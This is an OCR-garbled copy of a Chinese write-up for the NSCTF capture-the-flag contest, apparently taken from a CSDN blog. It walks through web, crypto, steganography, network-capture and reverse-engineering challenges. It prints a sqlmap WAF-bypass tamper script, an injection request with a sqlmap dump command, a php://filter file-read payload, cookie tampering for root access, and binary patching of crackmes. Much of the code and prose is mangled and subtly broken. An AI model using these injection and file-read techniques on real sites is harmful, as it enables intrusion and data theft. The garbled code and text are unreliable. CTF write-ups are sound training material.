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SFEERE: CTF XERSE: NSCTF writeup

FRANE B . AR EFEA X E, #EHE CC4.0 BY-SA BB, HERIEN LR CHAFEEMARER,
ACHERE:  hitps:/blog csdn.net/yuanyunfeng3/article/details/49423701

WAL

CTF ERERFIZAE
1B3EXZEOITH
TRLR
web:

be careful:
RIABE, phpBhiEZEntml, flagfEphp T, BPR M.

decode:

function encode (f=tr) {
f_o = strrevifstz):
for(f_0=0;%_0<strlend(d o) $ 0+ 1
f_c = substr($_o,%_0,1);
= ord{§_ci+1;
= chrif__J:
% c:

return str_rot13(strrevibazefd_encode($_J));
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functiondecode($str){
$_ =base64_decode(strrev(str_rot13($str)));
for($_0=0;%_0<strlen($_);$_0++){
$_c= substr($_,$_0,1);
$__= ord($_c)-1;

$_c= chr($_);
$_0=%_0.%_c;
}
returnstrrev($_o);
}

iR % J5 3k 18 flag
Brute force:

A password.ttXCfF, KHH{EF i, FBPBEATRE, &/5HKRMEFEnsFOcuS, #ANJE, #iflag
AEXH, FHcookie, baseb4f#iy 5Bk BIFHINT—FB R, ZU/NEBRSHES, Bcookie islogin 18
N1, BEKR S AN%S userlevel Aroot RINE =, $HfEflag

javascript:

WIEE R, B NS, BFEIEE KM check jso 175 3K15
GO0od!JAVA3C41PTISAGO 1pt_Pa4sWOrd K3y H3re //[~~~3E N\ )5 3Kk#5 bt 06/Ch3ck_Au7h.php R BT H G
#h2error, MR MHBRFN R —NRIEMA, MZRBIEHAFPZ2%EE, ZHGETHfEHESH
uname=G0od!JAVA3C41PTISAGO upass=1pt_Pa4sWOrd_K3y H3re3k#5flag

sqli:

HfilternameZ %, ¥ i%ZSHTIRAS Fusernamed 4T 08, A4 2/, St 4
FR. BN, BB, WIAND2TIEHE XL, ¥AN%25%27, BMIhsed. MANTKRER, SRREsqiEN, f#
Hrooc /B2 ig, RER. R AfilternameXt/*x¢ HEATHE, BGE A MWW 00cww/ filtername=ww*x*ww/,

BHEEN:

POST/fa81bb665474f11c025b5355582af315/web/12/index.php HTTP/1.1

Host: www.nsctf.net:8000

Cache-Control: max-age=0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.nsctf.net:8000

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.245
Referer:http://www.nsctf.net:8000/fa81bb665474f11c025b5355582af315/web/12/index.php
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.8

Content-Type:application/x-www-form-urlencoded

Content-Length: 110

username=admi%&filtername=ww&Submit=%e6%8f%90%ed%ba%al
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#!/usr/bin/env python

Copyright (c) 2006-2014 sqlmap developers(http://sqlmap.org/)
See the file 'doc/COPYING' for copyingpermission

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

Replaces space character (' ') with comments '/**/'

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0

Notes:
* Useful to bypass weak and bespoke web application firewalls

>>> tamper('SELECT id FROM users')
'SELECT/ww**ww/id/ww**/FROM/ww**ww/users"'

retVal = payload

if payload:
retval = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal +="/ww**ww/"

continue

elif payload[i] == "\'':
quote = not quote

elif payload[i] == ""':

doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retvVal += "/ww**ww/"

continue

retVal += payload[i]

return retVal



1§ Fsql# i flag.

python sqlmap.py -r req.txt -p username--tamper=space2comment,chardoubleencode --string="admin" -D dbs
-T flag --dump

LFI:

php:/ffilter/read=convert.base64-encode/resource=index.php 3X13base644u5 1 M T I 3L
f#, baseb4f#is 5 3k1%flag

changepassword:

EERGTHIRE B ! &0 304 8.index.php.swp B 5, #R4tid,pass,passwordfF 5k, HH
id1, passflpassword#)}201509230ldpass 20150923 newpass 20150923 (idixANyg, SR T IFABIEF A
W] 45 A W 43 A B 47 A B 4 A, S5 SR IME IR T T, SRS E - ANHBT . o )

File Upload:

b BT, IRFAHRIRH LA STFEMER, TRESNMWAES g, —IFalETIXHRDN, RS
SRR, TEBRRBEER, TRIF20MEKEHRITER. . TRMMT, BEILEXHHEIG0LKB, LT
AT . o BEELFEEUATURBEBET. , HaHEZESfag.

crypto:
A
aesf# %, FTHER, Mik:http://encode.chahuo.com/
IR R
(XEHREBUEHF 4, EARBFEGEREE T, J[EKHEET)
ZEREBinwalk— T .
MO EREA?



ETEA

REARAT MR — 4. . « CEERRMAKREG? ) EME

| £| StegSolve 1.3 by Cassum - (| (i S|

File Analyse Help
Blue plane 0

TSR R E R RO R P R B — 4R, .
REE, . KRIA—AMTHRITE QQEHE, RiFkd. .



“HTIHIL, H—THEF. FlagEsF,
75 i & Jr +10086:

Binwalk73#r. o o

andard
JFIF standard 1.02

JFIF standard 1.02
JFIF 'stamdard! \1.°02

Capyright string: " (&) 1998 Hewlett- Packard Compa

of=1.]ipg

Ddif=oddpic.JPG skip=158792 bs=1 of=1.jpg
kAR
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444 BE

falgiNSCTF_e6532a34928a3d1dadd0b049d5a3¢cc57}

MISC:

Twitter:

BB, R Btwitter.com/nsctf HEEKIMAS fcd2aa2046ed6e90cab82b1094b19adbfif %, nsfocus666,Hf
i 4 flag

WireShark:
H&Rhttpfs, RIREHER

Filter: | http |Z| Expression... Clear Apply Save
Ma. Time Source Destination Protocal Length Info
9 0.04760000192.168.52.1 239.255.255. 250 S5DP 179 M-SEARCH * HTTP/1.1
37 3.04579500192.168.52.1 239.255.255. 250 S5DP 179 M-SEARCH * HTTP/1.1
51 6.04632700192.168.52.1 239.255.255. 250 S5DP 179 M-SEARCH * HTTP/1.1
58 9.05047600192.168.52.1 239.255.255. 250 S5DP 179 M-SEARCH * HTTP/1.1
60 12.0533770192.168.52.1 239.255.255. 250 S5DP 179 M-SEARCH * HTTP/1.1
61 15.0537980192.168.52.1 239.255.255. 250 S5DP 179 M-SEARCH * HTTP/1.1
98 31.5843130192.168.52.1 239.255.255. 250 S5DP 179 M-SEARCH * HTTP/1.1
121 34.5853490192.168.52.1 239.255.255. 250 S5DP 179 M-SEARCH * HTTP/1.1
[ 127 34.B764480192.168.52.129 192.168.52.1 HTTP 361 GET / HTTP/1.1
129 34.8777580192.168.52.1 152.168.52.129 HTTP 485 HTTP/1.1 200 ok (text/html)
142 37.5857190192.168.52.1 239.255.255. 250 S5DP 179 M-S5EARCH * HTTPF/1.1
146 40.5896670192.168.52.1 239.255.255. 250 S5DP 179 M-S5EARCH * HTTPF/1.1
150 43.3853900192.168.52.129 152.168.52.1 HTTP 399 GET /key.rar HTTP/1.1
152 43.3862170192.168.52.1 192.168.52.129 HTTP 526 HTTP/1.1 200 ok (application/x-rar-compressed)
154 43.5917420192.168.52.1 239.255.255. 250 S5DP 179 M-S5EARCH * HTTPF/1.1

.

m

Frame 127: 361 bytes on wire (2888 bits), 361 bytes captured (2888 bits) on interface 0
Ethernet II, src: vmware_al:f0:3e (00:0c:29:a1:f0:3e), Dst: vmware_c0:00:08 (00:50:56:c0:00:08)
Internet Protocol version 4, src: 192.168.52.129 (192.168.52.129), Dst: 192.168.52.1 (192.168.52.1)
Transmission Control Protocol, Src Port: 50779 (50779), Dst Port: BO (B0), Seq: 1, ack: 1, Len: 285
Hypertext Transfer Protocol
+ GET / HTTP/1.1%r\n
Host: 192.168.52.1%r\n
User-Agent: Mozilla/5.0 (x11; Linux 1686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%/%;q=0.8\r\n
Accept-Language: en-Us,en;g=0.5rn

OH®HEE
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C' [ file:///C:/Users/jon/Desktop/1.html

GET / HTTP/1.1 Host: 192.168.52.1 User—Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/ /20100101 Firefox/22.0 Iceweasel
text/html, application/zhtml+xml, application/sml ; =0, 9, * /% q=0. 8 Accept-Language: en-US5, en;q=0.5% Accept-Encoding: gzip, def
Date: Thu, 17 Sep 2015 05:56:09 GNT Server: Apache/2.4.9 (Win€4) PHP/5.5.12 Last-Modified: Thu, 17 Sep 2015 05:52:57 GNT E
Content—Length: 126 Eeep-Alive: timeout=5, max=100 Comnection: Keep-Alive Content-Type: text/html EEY

R E nefacust+5 U=
kev
R Hkey.rarscfF
o i ) e - | - b r i [E) (=] — == . T T Y -y — - ey [ =]
Filter: http |Z| Expression.. Clear Apply Save
MNo. Time Source Destination Protocol Length Info
9 0.04760000192.168.52.1 239.255.255. 250 SSDP 179 M-SEARCH * HTTP/1.1
37 3.04579500192.168.52.1 239,255,255, 250 SSDP 179 M-SEARCH * HTTP/1.1
51 6.04632700192.168.52.1 239.255.255. 250 S5DP 179 M-SEARCH ¥ HTTP/1.1
58 9.05047600192.168.52.1 239.255.255. 250 SSDP 179 M-SEARCH * HTTP/1.1
60 12.0533770192.168.52.1 239,255,255, 250 SSDP 179 M-SEARCH * HTTP/1.1
61 15.0537990192.168.52.1 239.255.255. 250 S5DP 179 M-SEARCH ¥ HTTP/1.1
98 31.5843130192.168.52.1 239.255.255. 250 SSDP 179 M-SEARCH * HTTP/1.1
121 34,5853490192.168.52.1 239,255,255, 250 SSDP 179 M-SEARCH * HTTP/1.1
127 34.8764480192.168.52.129 192.168.52.1 HTTP 361 GET / HTTP/1.1
129 34.8777580192.168.52.1 192.168.52.129 HTTP 485 HTTP/1.1 200 ok (text/html)
142 37.5857190192.168.52.1 239,255,255, 250 SSDP 179 M-SEARCH ¥ HTTP/1.1
146 40.5896670192.168.52.1 239.255.255. 250 S5DP 179 M-SEARCH * HTTP/1.1
150 43.3853900192.168.52.129 192.168.52.1 HTTP 399 GET /key.rar HTTR/1.1
152 43.3862170192.168.52.1 192.168.52.129 HTTP 526 HTTP/1.1 200 oK (application/x-rar-compressed)
154 43.5917420192.168.52.1 239.255.255. 250 S5DP 179 M-SEARCH * HTTP/1.1

1 | 1

Frame 150: 399 bytes on wire (3192 bits), 399 bytes captured (3192 bits) on interface 0
Ethernet II, Src: Vmware_al:f0:3e (00:0c:29:a1:f0:3e), Dst: Vmware_c0:00:08 (00:50:56:c0:00:08)
Internet Protocol version 4, src: 192.168.52.129 (192.168.52.129), Dst: 192.168.52.1 (192.168.52.1)
# Transmission Control Protocol, Src Port: 50780 (50780), Dst Port: 80 (BO), Seq: 1, Ack: 1, Len: 333
=l Hypertext Transfer Protocol
GET /key.rar HTTP/1.1%r'n
Host: 192.168.52.1%r\n
User-agent: Mozilla/5.0 (x11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0%r\n
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/%;q=0.8%r%n
Accept-Language: en-uUs,en;g=0.5\r\n

0000 00 50 56 cO 00 O8 00 Oc 29 al fO 3e 0B 00 45 00 LPVLLL L. J..=..E.
0010 01 81 62 8e 40 00 40 06 ed 15 c0 a8 34 81 cO a8 RS N T N
0020 34 01 c6 5c 00 50 5e 65 1b bc 2b 5c Oe c3 80 18 4.0 Phe LN
0030 00 1d e3 1a 00 00 01 01 OB QOa 00 fb 79 37 Oe €5 ..vvevus e YT
0040 b7 b7 47 45 54 20 2f 6b 65 79 2e 72 61 72 20 48 ..GET /k ey.rar H
0030 54 54 50 2f 31 2Ze 31 0d 0a 48 6f 73 74 3a 20 31 TTP/1.1. .Host: 1

TS, RARBEIR, KBEH 7142/ R BURSH T #E, KSfag.



151 43.3855120192.168.52.1 192.168.5 __
152 43, 3862170192.168.52.1 192.168.5 -J E jon
153 43.3862280192.168.52.129 192.168.5 .
156 48. 3859470 192.168.52.1 192.168.5 =|
157 48.3861120192.168.52.129 192.168.5 -
158 48. 3862120 192.168.52.1 192.168. 5 ug [_-H )
"ﬁ ETESE e, ribs. EEtERaTIAEmmE. ]

a mi
B S
S

server: Apache/2.4.9 (Wingd4) PHP/5.5.12%r\| @ i 1B rrarkmeiE =]

Last-Modified: Thu, 17 sep 2015 05:49:33 al y P— - =
ETag: "94-51feafac57d87"\rin . e |
Accept-Ranges: bytes\r\n BB :  |Raw data (k. bin, . dat, *.raw) X

Content-Length: 148%\r'n
Keep-Alive: timeout=5, max=100%r'n
| connection: Keep-Aliwve\rin

L=
Content- e: application/x-rar-compresse
wrin TP i P 148 bytes of raw binary data will be written
[HTTF response 1/1]

[Time since request: 0.000827000 seconds]
Regquest in frame: 150

= Media Type
Media Type:

0170
0180
0190
01la0
01b0

N1 ~n

INERE) A

REGH T T,56H B T 1.8 H 3 dump R, X b2 BB ST

RIEBLEAR :
— C:'\Users'jontlesktophcard vs. C:WUsershjon\Desktophcard?
Result Addr’es A Size A Address B Size B
O Match Oh 40h Oh 40h
M Difference 40h Eh 40h Eh
O Match 4Eh 72h 4Eh 72h
M Difference Coh Eh Coh Eh
| O Match CEh F3zh CEh F32h
5
BRI T T

OxcOAb AR AR EH, REBHBEENNFFAZBER K. BEESNTHNER.



HRETEN | FERE ~ | Al 2 fi

BROeXLTLH 0020

Inspector = X| card (@
Type Value -
S dy:p a8 DOROR:
igne e - I
Unsigned Byte 1568 OOBOh:
Signed Short 9640 00=08RE
Unsigned Short 9640 00DOh:
Signed Int 9640 00EOh:
Unsigned Int 9540
! a2
Signed Int64  -41407779691096 w2 @ .
Unsigned Int54  18446702665929860... | 0 1 2 3 4 5 & 8 9 B B C D E F
Float 1.350852e-41 0OROh: 00 00 00 00 00 G0 00 00 00 00 00 00 00 00 00 00
Double 0O0EOh: 00 00 00 OO0 00 00 FF O7 80 €9 00 00 00 00 00 00
String % 00COh: F4 24 00 00 OB DB FF FF F4 24 00 40 OB DB FF FF
Unicode " | |ooDon: 00 00 00 00 00 0O 00 0O 00 OO0 00 00 OO 00 00 0Q
Eai=) |EE | | e 0OEOh: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
T
. s - e ML 33 N
Ox404b A CEHEM S . RMEEH4FTNZBERR. BEEH8FHNER.
= . 4T 0 — [‘; | s —
W (WERE | Al 2 G BROeRLELS MO » [d»
Inspector ] Xl card (s ¥
il @ 1 ? 3 4 5 6 7 8 9 A B C D E F 0123456788ABCDEF |=
Type Value -
Signed Byte 104 0020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | wueuvvvveeeeeenn.. B
igne ] )
Unsigned Byte 104 oosoh: ...... 7€
Signed Short 360 0neonL ¥¥h...—p¥¥
Unggnedghoﬂ 360 0050n: 00 OO0 0O OO OO0 OO0 OO0 00 OO0 00 00 00 00 00 00 00 | ..o ieeeennnnnnnn -
Signed Int 360 0060Rh: 0O OO0 0O OO OO0 OO0 OO0 OO0 OO0 OO0 OO0 QOO0 00 00 00 00 | ..cvvweannnannnn e
Unsigned Int 360 -
Signed Inté4 1550483193496 cw? @ =
Unsigned Int64 18446742523226358... | : |‘
Float 5.044674e-43 0020h: 0
Double 0030h:
String h 0040h:
Unicode u " || oozon: i
E=E) |§E |E:FS§ |Iﬂ§i[ 0060h:| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | suutriunrisrnn.. =
i) g x

B IRBERO040MOxXCOLL Bt , RZFEART, MG /NE, RIZAHEE (T ED

00&0nh: 00 O
0070h: 00 O
00B0n: {

0050h:
00AOR:
00BOh:

00
00

00
00

00
00

00
00

00
FF

00
o7

00
80

00
00

00
00

00
00

00
00

00
00

00
00

0x80 #{6°410000, EAREEIA. FUKREAXA: SEI=HERERE+IA RS,
IR ITIERG T . RELLDAREECN208, WL L AKX, KIhikEflag.

Reverse:

Reverse01:



PEID v0.95 b= o S|

jZﬁ*: C:'\Users'jontlesktoptReversell. axe [::]
A0 0008001 EF [ [ aspack E2|
S$EE: poooisol B¥:  BOEs 0300 [ ]
EESERE 120 FE: Win32 console ﬂ

BSPack 2.12 —» Alexey Solodovnikol
gupaEm | [ EEHEm| | who || 2Fw || Be |

¥ SRR ) e =]

#ODFIE 2 o
fi Fespre B Mt 52 -

BRFHHEEE

el GAIE 00 80 0@ © sEeenEoees E5a  ou0sgsnaana
ciﬁiﬁiiii I.IZ.I

#12316E2|| . S8BEC mov ebp,esp + Registers (
B12316E4(| . 83EC 14 esp,
B12316E7 (| . 8365 F4 B8 [local.3],
B12316EB(| . 8365 FE& B8 [local.2],
A1 88382301 eax,
esi
edi

odi

a123211cC flag:{NSCTF_md5865ca>081??ab7eBf4>>a781c>cd17340}
81232158 . Iplease input ns—ctf password:
81232170 . %5 A '
81232110 nsFBcusStxe1
81232174 try againtin
81232158 please input ns-ctf password:
81232170 %5
81232110 nsFBcusStxe1
81231168 8123211cC flag:{NSCTF_md5865ca>81??ab7eBf4>>a781c>cd17340}

TB1231958 81231185 HYs

81231736
0 0

¥ izflagiess, ATNERBAKRE. .
KL e o o
FHjmp R AT Bkt 1

812318BA 68 78212381 1232178 %5

812318BF FFD3 call ebx

812318C1 G6A OB maxlen = B (11.)
812318C3 8D8B5 FCFEFFFl1lea eax,[local.65]

812318C9 BF 81888888 [mov edi,

812318CE 58 eax 52

812318CF 68 18212301 1232118 . . . nsFAcustxe1
81231604 FF15 9C2@82381call : TH ’

812316DA 83Ch4 24 add esp,

1231aDD 85CA test eax,eax

8123106DF » 4B

812318E1 68 7u2123m1 1232174 try again?sn




8123112A
8123112C
81231132
8123113C
8123113F
81231148
81231142
81231143
81231145

A LLE B 4w A afedifl N 3T #EAT BE B . .

¥5 BS

8D8D FCFEFFF
C7¥05 6833230
8D51 ;1

68 1C212381
FFD&

SRATREN Z AW

8123114E
B123114F
81231158
81231155
81231156
81231157
81231159
8123115nA
8123115D
B123115F
81231164
B12311466
81231167
81231168

2 3lflag:

83FF 83

E8 ABFEFFFF

8B4D FC
33CD
E8 21000088

68 1C212381

e short 812310E1
lea ecx,[local.as]
mou
lea edx,
nop
mou al,
inc ecx
test al,al
e short 81231140
sub ecx,edx
[ short 81231172
cmp edi,
short 01231168
call 1231000
edi
esi
XOr eax,eax
ebx
mov ecx,[local.1]
®or ecx,ebp
call 01231185
mou esp,ebp
ebp
0123211¢C

cmp edi,

call 81231888
edi
esi
RXOr eax,eax
ebx
mov ecx,[local.q1]
®Or ecx,ebp
call 81231185
moy esp,ebp
ebp

g123211¢C

i Ch\Users\jon\Desktop\Reverse0l.exe

1SR

flag:{NSCTF_md5865ca>B1??ab7ebf4>>a7b1c>cd17340}

flag:{NSCTF_md5865ca>81?7ab7eBf4>>a701c>cd17348}

pleaze input ns—ctf password: 12345

flag:{NSCTF_md5712df ?7688feBb7a327fB764%dceB437>

FRABCA R B S 4 F )~




Reverse02:

Bnsg. . EEERFHFH

6840088 (call BABF1811
osooosoo |y eesF1380
14
L4LB228F B0 BB8F2248
24060008 (call 88BF1A289
33F6 ®o0F esi,esi
8975 EN mov dword ptr ss:[ebp-8x1C],esi

mou_duwned _nibe _cc-Tahn_Gv?201 _aci

push B88F2128

push B88F2128

mov al,byte ptr ds:[B8zB8F30828]
mov al,byte ptr ds:[B8z8F3827]
mov al,byte ptr ds:[Bx8F382a6]
mov al,byte ptr ds:[B8x8F3825]
mov al,byte ptr ds:[Bx8F3824]"
mov al,byte ptr ds:[B8xB8F3023]
mov al,byte ptr ds:[B8=8F3022]
mov al,byte ptr ds:[B8z8F30821]
mov al,byte ptr ds:[B8x8F3828]
mov al,byte ptr ds:[Bx8F381F]
mov al,byte ptr ds:[Bx8F381E]
mov al,byte ptr ds:[B8=8F3081D]
mov al,byte ptr ds:[B8=BF301C]
push B08F2128

push 888F2128 flag:{NSCTF_nd57eBcad17816b8>7457 F7c>B>4a>1c3ab}

B88F1A88 | push BBBF1263 ALK

G68F1852

55

8BEC

83EC 38

A1 883 08FB0
33C5

8945 FC

6A 38

8D45 C9
Co4> C8 0O
6A 88

e

E8 C38a0000
6A 38

68 28218F00
8D45 €8

6A 31

58

FF15 242068FB
83c4 1C
8D45 DY
887D D7

74 8B

8838 87
848 61
80838 7D

75 FS

6A 88

68 28218F00
8D45 C8

XA FIre1iF 8. ©

ebp
ebp,esp
esp,
eax,
eax,ebp

[local.1],

eax,dword ptr ss:[ebp-8x37]

eax

byte ptr ss:[ebp-8x38],

eax

call <jmp.&MSUCR128.memset>

008F2128

lea eax,[local.i4]

eax
call
add esp,

lea eax,dword ptr ss:[ebp-8z29]

cmp byte ptr ss:[ebp-8x29],
short DOSF104B

®or
lea eax,
cmp

IE short oosF1640

ae8F2128

lea eax,[local.14]

3@ (48.)

flag:{NSCTF_mnd57eBcad17816b0> 7457 F7c>0>4a>1c3a8}

msucr128.strncpy_s

Style = HB_OK|HE_APPLHMODAL
Flag

TRIERERTTEA—HHE. .



ABRF1 AR & g . Assembile
BiEF1 a1 . >y 'a"h’l
DOBF1 003
aosF1aG6|| - y
AnRF1anE|| . ; 3 Breakpaint

BOBF1@00|| . 8945 FC a Hit trace

apgFi1at0|| . ] - n o= 30 (48.)
oosF1e1z|| . Tas .

angF1a15|| . o T

ApgF1019|| . 6A BB ; 2 o it e .
BoBF1OMB|| . 50 5

posF101c|| . ER 1A DA
apgFi1az1|| . 3
A08F1 . 18F 08 View coll tree flag:{HSCTF_mdS7eBcad17 @160
AOBF1 > 5 8

Comment

Follow in Dump

% B 008F 10004 # KIEIP
TR. . lagiiEEHEKT . .

6A 8@ S$tyle = HMB_OK|HB_APPLHODAL
68 20218FBA aas8F2128 Flag

8045 C8 lea eax,[local.14]

Y] eax Text

6A B8 hOwner = HULL

FF15 B4288F8lcall

8B4D FC mov ecx,[local.1]

33CD ®o0r ecx,ebp

E® FBB10868 |call B08F1263

BBES mov esp,ebp

5D ebp flag:{NSCTF_md50b7dfc60761e798328a0d9793f26d417}

c3

[HH
[HH

Reverse04:

Funcompyle2 % 4%, k.

Syntax error at or near "MOP' token at offset B
ft decompiled 8 files: @ okay failed, @ verify failed
ft 2015.09 .28 22:43:30 [ T[]

Mone
LOAD_CONST "M.osxld 1B FET ol ezN™ il heesacd P ol 22wl A
LOAD_CONST M. sxld -l BXET sl ez N wad heesocd P el 20wl A
NOP Mone
LOAD_CONST "M.osxld 1B FET ol ezN™ il heesacd P ol 22wl A
LOAD_CONST FINRPEHCI LI PP J - sl bulle R ~xBe b ~xBf n’

1 F unpyclibs$ H#47 [ IC 4

C:“Python2?“Lib“site—packages*unpyclib>python application.py —d C:“UserssjonsDes
ktopspyc“Reversel4.pyc > C:xslszerssjonsDesktoppycre.txt

C:“Python2?Lib“site—packages™unpyclib>_




——== Disasm ==-—-
00000008 CODE:
argeount :

00000009 LONG: OL (0O 00 00 00}
nlocals:
0000000D LONG: OL (00 00 00 00}
stacksize:
00000011 LONG: 3L (03 00 00 00}
flags:
00000015 LONG: 64L (40 00 00 00}
(NOFREE)
code:
00000019 STR: "4 1d\x00%x00d4x004x00% t A4 =00\ 20044 x01 4 x004 21 7dh 024200421 Td4 %034 200421 7d\ x04\ 004 =1 7d\ 205 0041 Td\ x 064004217, . .© (FC 00 00 0D 09 64 00 00 64 00
00000000 09 - NOP
00000001 64 - LOAD CONST "M, \xld-\x18)E" yxlezl \albH\xl9H\x1 2%\ x1d-"
00000004 64 - LOAD CONST “M, \xLd-\x181E" \xlezN N\albH \x1 9\ x1 28\ x1d-"
000aoooT 09 - NOP
00000008 64 - LOAD CONST "M, \xld-\x181E" yxlezl ™\ xlbH\xl 0\ xl 2%\ x1d-"
0000000 64 - LOAD CONST T TheTEMID INRTE]. Yxl6wlcR i x0e6hx0fn
0000000E 17 - BINARY_ADD
0000000F €4 — LOAD_CONST " Zo\mn x0fk\ t1IRT\ 2032\ 2067\ x00eUbY x043
00000012 17 - BINARY_ADD
00000013 64 — LOAD_CONST T \x014\x0T1Rr \x1dx\x197 D79 abs, A%
00000016 17 — BINARY_ADD
00000017 64 — LOAD_CONST “4x10" \xllulyA%hxld | DrFvixl 2t \x11#BE”
00000014 17 — BINARY_ADD
0000001 64 — LOAD CONST " GeEzEH0) Y al cBGuls el eha T Fhal bl 9%
00D00DO1E 17 — BINARY_ADD
0000001F 64 — LOAD CONST “hxlefhaldalf A\ xl arhgBalv0-LtEY

P16t il G 8 A X — A SCAFBEAT 1B, B3PI nop. HFHBEKE

0000h: O3 F3 OD O& 1A AE OO0 56 63 00 00 0O 0O 00 00 00 oL@ Ve ...,

0010h: 00 03 00 00 00D 40 00 00 00 73 [FC §0 00 00 |54 ..... €...su...J
0020h: 00 00 64 00 00 P9]64 0O 00 64 01 00(17 4 02 00 | ..d...d..d...d..

0030h: 17 64 03 00 17 &4 04 00 17 &4 05 00 17 &4 06 00 d.o..d.o.ade.oda,

BREEIRES, QREEHT

Syntax error at or near “STORE_GLOBAL’ token at offset 37

ft decompiled 8 files5(8 okayi 1 failed. B, verify failed
it 2015.09 .28 22:52:13 OO [EHRERT(E]

PREER TR

M gmELR: 12140
B2 — o

#!/usr/bin/env python

# encoding: utf-8

# Pilhttp://tool.lu/pyc/ BEELIER
data = "M,\x1d-\x18}E'\x1ezN~\x1b*\x19+\x12%\x1d-" + 'I\x7fM(I{I\x7fJ.\x16wWcRj\x0e6\x0fn' + ' Zo\nn\xofk\t
import os

import sys

import struct

import cStringIO

import string

import dis

import marshal

import types

import random

count = @

def reverse(string):
return string[::-1]

data_list = list(reverse(data)[1:])

def decrpyt(c, key2):
global count
data_list[count] = c ~ key2
count += 1


http://tool.lu/pyc/

def GetFlagl():
key= struct.unpack('B', data[len(data) - 8])[9]
for c in data_list:

if count ==
decrpyt(struct.unpack('B', c)[0], key)
continue

key = struct.unpack('B', data[len(data) - 3])[9]

decrpyt(struct.unpack('B', c)[0], key)

for ¢ in data_list[::-1]:
print chr(c),

def GetFlag2():
key = struct.unpack('B', data[len(data) - 11])[Q]
for c in data_list:
if count ==
decrpyt(struct.unpack('B', c)[0], key)
continue
key = struct.unpack('B', data[len(data) - 4 - count])[0]
decrpyt(struct.unpack('B', c)[@], key)

for ¢ in data_list[::-1]:
print chr(c),

def GetFlag3():
key = struct.unpack('B', data[len(data) - 5])[0]
for c in data_list:
if count ==
decrpyt(struct.unpack('B', c)[@], key)
continue
key = struct.unpack('B', data[len(data) - 2 - count])[0]
decrpyt(struct.unpack('B', c)[@], key)

for ¢ in data_list[::-1]:
print chr(c),

def GetFlag4():
global count
key = struct.unpack('B', data[len(data) - 1])[0]
for ¢ in data_list:
if count == @:
decrpyt(struct.unpack('B', c)[@], key)
continue
key = struct.unpack('B', data[len(data) - 1- count])[@]
decrpyt(struct.unpack('B', c)[@], key)

count = 0
for ¢ in data_list[::-1]:
print chr(c),



def GetFlag5():
pass
# WARNING: Decompyle incomplete

GetFlagl()

BHARTE, KGetFlag2(). GetFlag3(). GetFlag4() ¥ A, flagrt GetFlagd()s H 3T BN B Sk i =475 5 Y o
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